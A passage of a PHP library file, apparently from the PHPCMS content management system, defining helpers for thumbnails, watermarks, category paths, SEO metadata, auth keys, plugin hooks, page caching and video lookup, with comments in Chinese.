  1354. if(file_exists($upload_path.$newimgurl)) return $upload_url.$newimgurl;
  1355. if(!is_object($image)) {
  1356. pc_base::load_sys_class('image','','0');
  1357. $image = new image(1,0);
  1358. }
  1359. return $image->thumb($upload_path.$imgurl_replace, $upload_path.$newimgurl, $width, $height, '', $autocut) ? $upload_url.$newimgurl : $imgurl;
  1360. }
  1361. /**
  1362. * 水印添加
  1363. * @param $source 原图片路径
  1364. * @param $target 生成水印图片途径,默认为空,覆盖原图
  1365. * @param $siteid 站点id,系统需根据站点id获取水印信息
  1366. */
  1367. function watermark($source, $target = '',$siteid) {
  1368. global $image_w;
  1369. if(empty($source)) return $source;
  1370. if(!extension_loaded('gd') || strpos($source, '://')) return $source;
  1371. if(!$target) $target = $source;
  1372. if(!is_object($image_w)){
  1373. pc_base::load_sys_class('image','','0');
  1374. $image_w = new image(0,$siteid);
  1375. }
  1376. $image_w->watermark($source, $target);
  1377. return $target;
  1378. }
  1379. /**
  1380. * 当前路径
  1381. * 返回指定栏目路径层级
  1382. * @param $catid 栏目id
  1383. * @param $symbol 栏目间隔符
  1384. */
  1385. function catpos($catid, $symbol=' > '){
  1386. $category_arr = array();
  1387. $siteids = getcache('category_content','commons');
  1388. $siteid = $siteids[$catid];
  1389. $category_arr = getcache('category_content_'.$siteid,'commons');
  1390. if(!isset($category_arr[$catid])) return '';
  1391. $pos = '';
  1392. $siteurl = siteurl($category_arr[$catid]['siteid']);
  1393. $arrparentid = array_filter(explode(',', $category_arr[$catid]['arrparentid'].','.$catid));
  1394. foreach($arrparentid as $catid) {
  1395. $url = $category_arr[$catid]['url'];
  1396. if(strpos($url, '://') === false) $url = $siteurl.$url;
  1397. $pos .= $symbol.'<a href="'.$url.'">'.$category_arr[$catid]['catname'].'</a>';
  1398. }
  1399. return $pos;
  1400. }
  1401. /**
  1402. * 根据catid获取子栏目数据的sql语句
  1403. * @param string $module 缓存文件名
  1404. * @param intval $catid 栏目ID
  1405. */
  1406. function get_sql_catid($file = 'category_content_1', $catid = 0, $module = 'commons') {
  1407. $category = getcache($file,$module);
  1408. $catid = intval($catid);
  1409. if(!isset($category[$catid])) return false;
  1410. return $category[$catid]['child'] ? " `catid` IN(".$category[$catid]['arrchildid'].") " : " `catid`=$catid ";
  1411. }
  1412. /**
  1413. * 获取子栏目
  1414. * @param $parentid 父级id
  1415. * @param $type 栏目类型
  1416. * @param $self 是否包含本身 0为不包含
  1417. * @param $siteid 站点id
  1418. */
  1419. function subcat($parentid = NULL, $type = NULL,$self = '0', $siteid = '') {
  1420. if (empty($siteid)) $siteid = get_siteid();
  1421. $category = getcache('category_content_'.$siteid,'commons');
  1422. foreach($category as $id=>$cat) {
  1423. if($cat['siteid'] == $siteid && ($parentid === NULL || $cat['parentid'] == $parentid) && ($type === NULL || $cat['type'] == $type)) $subcat[$id] = $cat;
  1424. if($self == 1 && $cat['catid'] == $parentid && !$cat['child']) $subcat[$id] = $cat;
  1425. }
  1426. return $subcat;
  1427. }
  1428. /**
  1429. * 获取内容地址
  1430. * @param $catid 栏目ID
  1431. * @param $id 文章ID
  1432. * @param $allurl 是否以绝对路径返回
  1433. */
  1434. function go($catid,$id, $allurl = 0) {
  1435. static $category;
  1436. if(empty($category)) {
  1437. $siteids = getcache('category_content','commons');
  1438. $siteid = $siteids[$catid];
  1439. $category = getcache('category_content_'.$siteid,'commons');
  1440. }
  1441. $id = intval($id);
  1442. if(!$id || !isset($category[$catid])) return '';
  1443. $modelid = $category[$catid]['modelid'];
  1444. if(!$modelid) return '';
  1445. $db = pc_base::load_model('content_model');
  1446. $db->set_model($modelid);
  1447. $r = $db->get_one(array('id'=>$id), '`url`');
  1448. if (!empty($allurl)) {
  1449. if (strpos($r['url'], '://')===false) {
  1450. $site = siteinfo($category[$catid]['siteid']);
  1451. $r['url'] = substr($site['domain'], 0, -1).$r['url'];
  1452. }
  1453. }
  1454. return $r['url'];
  1455. }
  1456. /**
  1457. * 将附件地址转换为绝对地址
  1458. * @param $path 附件地址
  1459. */
  1460. function atturl($path) {
  1461. if(strpos($path, ':/')) {
  1462. return $path;
  1463. } else {
  1464. $sitelist = getcache('sitelist','commons');
  1465. $siteid = get_siteid();
  1466. $siteurl = $sitelist[$siteid]['domain'];
  1467. $domainlen = strlen($sitelist[$siteid]['domain'])-1;
  1468. $path = $siteurl.$path;
  1469. $path = substr_replace($path, '/', strpos($path, '//',$domainlen),2);
  1470. return $path;
  1471. }
  1472. }
  1473. /**
  1474. * 判断模块是否安装
  1475. * @param $m 模块名称
  1476. */
  1477. function module_exists($m = '') {
  1478. if ($m=='admin') return true;
  1479. $modules = getcache('modules', 'commons');
  1480. $modules = array_keys($modules);
  1481. return in_array($m, $modules);
  1482. }
  1483. /**
  1484. * 生成SEO
  1485. * @param $siteid 站点ID
  1486. * @param $catid 栏目ID
  1487. * @param $title 标题
  1488. * @param $description 描述
  1489. * @param $keyword 关键词
  1490. */
  1491. function seo($siteid, $catid = '', $title = '', $description = '', $keyword = '') {
  1492. if (!empty($title))$title = strip_tags($title);
  1493. if (!empty($description)) $description = strip_tags($description);
  1494. if (!empty($keyword)) $keyword = str_replace(' ', ',', strip_tags($keyword));
  1495. $sites = getcache('sitelist', 'commons');
  1496. $site = $sites[$siteid];
  1497. $cat = array();
  1498. if (!empty($catid)) {
  1499. $siteids = getcache('category_content','commons');
  1500. $siteid = $siteids[$catid];
  1501. $categorys = getcache('category_content_'.$siteid,'commons');
  1502. $cat = $categorys[$catid];
  1503. $cat['setting'] = string2array($cat['setting']);
  1504. }
  1505. $seo['site_title'] =isset($site['site_title']) && !empty($site['site_title']) ? $site['site_title'] : $site['name'];
  1506. $seo['keyword'] = !empty($keyword) ? $keyword : $site['keywords'];
  1507. $seo['description'] = isset($description) && !empty($description) ? $description : (isset($cat['setting']['meta_description']) && !empty($cat['setting']['meta_description']) ? $cat['setting']['meta_description'] : (isset($site['description']) && !empty($site['description']) ? $site['description'] : ''));
  1508. $seo['title'] = (isset($title) && !empty($title) ? $title.' - ' : '').(isset($cat['setting']['meta_title']) && !empty($cat['setting']['meta_title']) ? $cat['setting']['meta_title'].' - ' : (isset($cat['catname']) && !empty($cat['catname']) ? $cat['catname'].' - ' : ''));
  1509. foreach ($seo as $k=>$v) {
  1510. $seo[$k] = str_replace(array("\n","\r"), '', $v);
  1511. }
  1512. return $seo;
  1513. }
  1514. /**
  1515. * 获取站点的信息
  1516. * @param $siteid 站点ID
  1517. */
  1518. function siteinfo($siteid) {
  1519. static $sitelist;
  1520. if (empty($sitelist)) $sitelist = getcache('sitelist','commons');
  1521. return isset($sitelist[$siteid]) ? $sitelist[$siteid] : '';
  1522. }
  1523. /**
  1524. * 生成CNZZ统计代码
  1525. */
  1526. function tjcode() {
  1527. if(!module_exists('cnzz')) return false;
  1528. $config = getcache('cnzz', 'commons');
  1529. if (empty($config)) {
  1530. return false;
  1531. } else {
  1532. return '<script src=\'http://pw.cnzz.com/c.php?id='.$config['siteid'].'&l=2\' language=\'JavaScript\' charset=\'gb2312\'></script>';
  1533. }
  1534. }
  1535. /**
  1536. * 生成标题样式
  1537. * @param $style 样式
  1538. * @param $html 是否显示完整的STYLE
  1539. */
  1540. function title_style($style, $html = 1) {
  1541. if(!$style) return "";
  1542. $str = '';
  1543. if ($html) $str = ' style="';
  1544. $style_arr = explode(';',$style);
  1545. if (!empty($style_arr[0])) $str .= 'color:'.$style_arr[0].';';
  1546. if (!empty($style_arr[1])) $str .= 'font-weight:'.$style_arr[1].';';
  1547. if ($html) $str .= '" ';
  1548. return $str;
  1549. }
  1550. /**
  1551. * 获取站点域名
  1552. * @param $siteid 站点id
  1553. */
  1554. function siteurl($siteid) {
  1555. static $sitelist;
  1556. if(!$siteid) return WEB_PATH;
  1557. if(empty($sitelist)) $sitelist = getcache('sitelist','commons');
  1558. return substr($sitelist[$siteid]['domain'],0,-1);
  1559. }
  1560. /**
  1561. * 生成上传附件验证
  1562. * @param $args 参数
  1563. * @param $operation 操作类型(加密解密)
  1564. */
  1565. function upload_key($args) {
  1566. $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT']);
  1567. $authkey = md5($args.$pc_auth_key);
  1568. return $authkey;
  1569. }
  1570. /**
  1571. * 生成验证key
  1572. * @param $prefix 参数
  1573. * @param $suffix 参数
  1574. */
  1575. function get_auth_key($prefix,$suffix="") {
  1576. if($prefix=='login'){
  1577. $pc_auth_key = md5(pc_base::load_config('system','auth_key').ip());
  1578. }else if($prefix=='email'){
  1579. $pc_auth_key = md5(pc_base::load_config('system','auth_key'));
  1580. }else{
  1581. $pc_auth_key = md5(pc_base::load_config('system','auth_key').$suffix);
  1582. }
  1583. $authkey = md5($prefix.$pc_auth_key);
  1584. return $authkey;
  1585. }
  1586. /**
  1587. * 文本转换为图片
  1588. * @param string $txt 图形化文本内容
  1589. * @param int $fonttype 无外部字体时生成文字大小,取值范围1-5
  1590. * @param int $fontsize 引入外部字体时,字体大小
  1591. * @param string $font 字体名称 字体请放于phpcms\libs\data\font下
  1592. * @param string $fontcolor 字体颜色 十六进制形式 如FFFFFF,FF0000
  1593. */
  1594. function string2img($txt, $fonttype = 5, $fontsize = 16, $font = '', $fontcolor = 'FF0000',$transparent = '1') {
  1595. if(empty($txt)) return false;
  1596. if(function_exists("imagepng")) {
  1597. $txt = urlencode(sys_auth($txt));
  1598. $txt = '<img src="'.APP_PATH.'api.php?op=creatimg&txt='.$txt.'&fonttype='.$fonttype.'&fontsize='.$fontsize.'&font='.$font.'&fontcolor='.$fontcolor.'&transparent='.$transparent.'" align="absmiddle">';
  1599. }
  1600. return $txt;
  1601. }
  1602. /**
  1603. * 获取phpcms版本号
  1604. */
  1605. function get_pc_version($type='') {
  1606. $version = pc_base::load_config('version');
  1607. if($type==1) {
  1608. return $version['pc_version'];
  1609. } elseif($type==2) {
  1610. return $version['pc_release'];
  1611. } else {
  1612. return $version['pc_version'].' '.$version['pc_release'];
  1613. }
  1614. }
  1615. /**
  1616. * 运行钩子(插件使用)
  1617. */
  1618. function runhook($method) {
  1619. $time_start = getmicrotime();
  1620. $data = '';
  1621. $getpclass = FALSE;
  1622. $hook_appid = getcache('hook','plugins');
  1623. if(!empty($hook_appid)) {
  1624. foreach($hook_appid as $appid => $p) {
  1625. $pluginfilepath = PC_PATH.'plugin'.DIRECTORY_SEPARATOR.$p.DIRECTORY_SEPARATOR.'hook.class.php';
  1626. $getpclass = TRUE;
  1627. include_once $pluginfilepath;
  1628. }
  1629. $hook_appid = array_flip($hook_appid);
  1630. if($getpclass) {
  1631. $pclass = new ReflectionClass('hook');
  1632. foreach($pclass->getMethods() as $r) {
  1633. $legalmethods[] = $r->getName();
  1634. }
  1635. }
  1636. if(in_array($method,$legalmethods)) {
  1637. foreach (get_declared_classes() as $class){
  1638. $refclass = new ReflectionClass($class);
  1639. if($refclass->isSubclassOf('hook')){
  1640. if ($_method = $refclass->getMethod($method)) {
  1641. $classname = $refclass->getName();
  1642. if ($_method->isPublic() && $_method->isFinal()) {
  1643. plugin_stat($hook_appid[$classname]);
  1644. $data .= $_method->invoke(null);
  1645. }
  1646. }
  1647. }
  1648. }
  1649. }
  1650. return $data;
  1651. }
  1652. }
  1653. function getmicrotime() {
  1654. list($usec, $sec) = explode(" ",microtime());
  1655. return ((float)$usec + (float)$sec);
  1656. }
  1657. /**
  1658. * 插件前台模板加载
  1659. * Enter description here ...
  1660. * @param unknown_type $module
  1661. * @param unknown_type $template
  1662. * @param unknown_type $style
  1663. */
  1664. function p_template($plugin = 'content', $template = 'index',$style='default') {
  1665. if(!$style) $style = 'default';
  1666. $template_cache = pc_base::load_sys_class('template_cache');
  1667. $compiledtplfile = PHPCMS_PATH.'caches'.DIRECTORY_SEPARATOR.'caches_template'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.'plugin'.DIRECTORY_SEPARATOR.$plugin.DIRECTORY_SEPARATOR.$template.'.php';
  1668. if(!file_exists($compiledtplfile) || (file_exists(PC_PATH.'plugin'.DIRECTORY_SEPARATOR.$plugin.DIRECTORY_SEPARATOR.'templates'.DIRECTORY_SEPARATOR.$template.'.html') && filemtime(PC_PATH.'plugin'.DIRECTORY_SEPARATOR.$plugin.DIRECTORY_SEPARATOR.'templates'.DIRECTORY_SEPARATOR.$template.'.html') > filemtime($compiledtplfile))) {
  1669. $template_cache->template_compile('plugin/'.$plugin, $template, 'default');
  1670. } elseif (!file_exists(PC_PATH.'plugin'.DIRECTORY_SEPARATOR.$plugin.DIRECTORY_SEPARATOR.'templates'.DIRECTORY_SEPARATOR.$template.'.html')) {
  1671. showmessage('Template does not exist.'.DIRECTORY_SEPARATOR.'plugin'.DIRECTORY_SEPARATOR.$plugin.DIRECTORY_SEPARATOR.$template.'.html');
  1672. }
  1673. return $compiledtplfile;
  1674. }
  1675. /**
  1676. * 读取缓存动态页面
  1677. */
  1678. function cache_page_start() {
  1679. $relate_url = isset($_SERVER['REQUEST_URI']) ? safe_replace($_SERVER['REQUEST_URI']) : $php_self.(isset($_SERVER['QUERY_STRING']) ? '?'.safe_replace($_SERVER['QUERY_STRING']) : $path_info);
  1680. define('CACHE_PAGE_ID', md5($relate_url));
  1681. $contents = getcache(CACHE_PAGE_ID, 'page_tmp/'.substr(CACHE_PAGE_ID, 0, 2));
  1682. if($contents && intval(substr($contents, 15, 10)) > SYS_TIME) {
  1683. echo substr($contents, 29);
  1684. exit;
  1685. }
  1686. if (!defined('HTML')) define('HTML',true);
  1687. return true;
  1688. }
  1689. /**
  1690. * 写入缓存动态页面
  1691. */
  1692. function cache_page($ttl = 360, $isjs = 0) {
  1693. if($ttl == 0 || !defined('CACHE_PAGE_ID')) return false;
  1694. $contents = ob_get_contents();
  1695. if($isjs) $contents = format_js($contents);
  1696. $contents = "<!--expiretime:".(SYS_TIME + $ttl)."-->\n".$contents;
  1697. setcache(CACHE_PAGE_ID, $contents, 'page_tmp/'.substr(CACHE_PAGE_ID, 0, 2));
  1698. }
  1699. /**
  1700. *
  1701. * 获取远程内容
  1702. * @param $url 接口url地址
  1703. * @param $timeout 超时时间
  1704. */
  1705. function pc_file_get_contents($url, $timeout=30) {
  1706. $stream = stream_context_create(array('http' => array('timeout' => $timeout)));
  1707. return @file_get_contents($url, 0, $stream);
  1708. }
  1709. /**
  1710. * Function get_vid
  1711. * 获取视频信息
  1712. * @param int $contentid 内容ID 必须
  1713. * @param int $catid 栏目id 取内容里面视频信息时必须
  1714. * @param int $isspecial 是否取专题的视频信息
  1715. */
  1716. function get_vid($contentid = 0, $catid = 0, $isspecial = 0) {
  1717. static $categorys;
  1718. if (!$contentid) return false;
  1719. if (!$isspecial) {
  1720. if (!$catid) return false;
  1721. $contentid = intval($contentid);
  1722. $catid = intval($catid);
  1723. $siteid = get_siteid();
  1724. if (!$categorys) {
  1725. $categorys = getcache('category_content_'.$siteid, 'commons');
  1726. }
  1727. $modelid = $categorys[$catid]['modelid'];
  1728. $video_content = pc_base::load_model('video_content_model');
  1729. $r = $video_content->get_one(array('contentid'=>$contentid, 'modelid'=>$modelid), 'videoid', '`listorder` ASC');
  1730. $video_store =pc_base::load_model('video_store_model');
  1731. return $video_store->get_one(array('videoid'=>$r['videoid']));
  1732. } else {
  1733. $special_content = pc_base::load_model('special_content_model');
  1734. $contentid = intval($contentid);
  1735. $video_store =pc_base::load_model('video_store_model');
  1736. $r = $special_content->get_one(array('id'=>$contentid), 'videoid');
  1737. return $video_store->get_one(array('videoid'=>$r['videoid']));
  1738. }
  1739. }
  1740. /**
  1741. * Function dataformat
  1742. * 时间转换
  1743. * @param $n INT时间
  1744. */
  1745. function dataformat($n) {
  1746. $hours = floor($n/3600);
  1747. $minite = floor($n%3600/60);
  1748. $secend = floor($n%3600%60);
  1749. $minite = $minite < 10 ? "0".$minite : $minite;
  1750. $secend = $secend < 10 ? "0".$secend : $secend;
  1751. if($n >= 3600){
  1752. return $hours.":".$minite.":".$secend;
  1753. }else{
  1754. return $minite.":".$secend;
  1755. }
  1756. }
  1757. ?>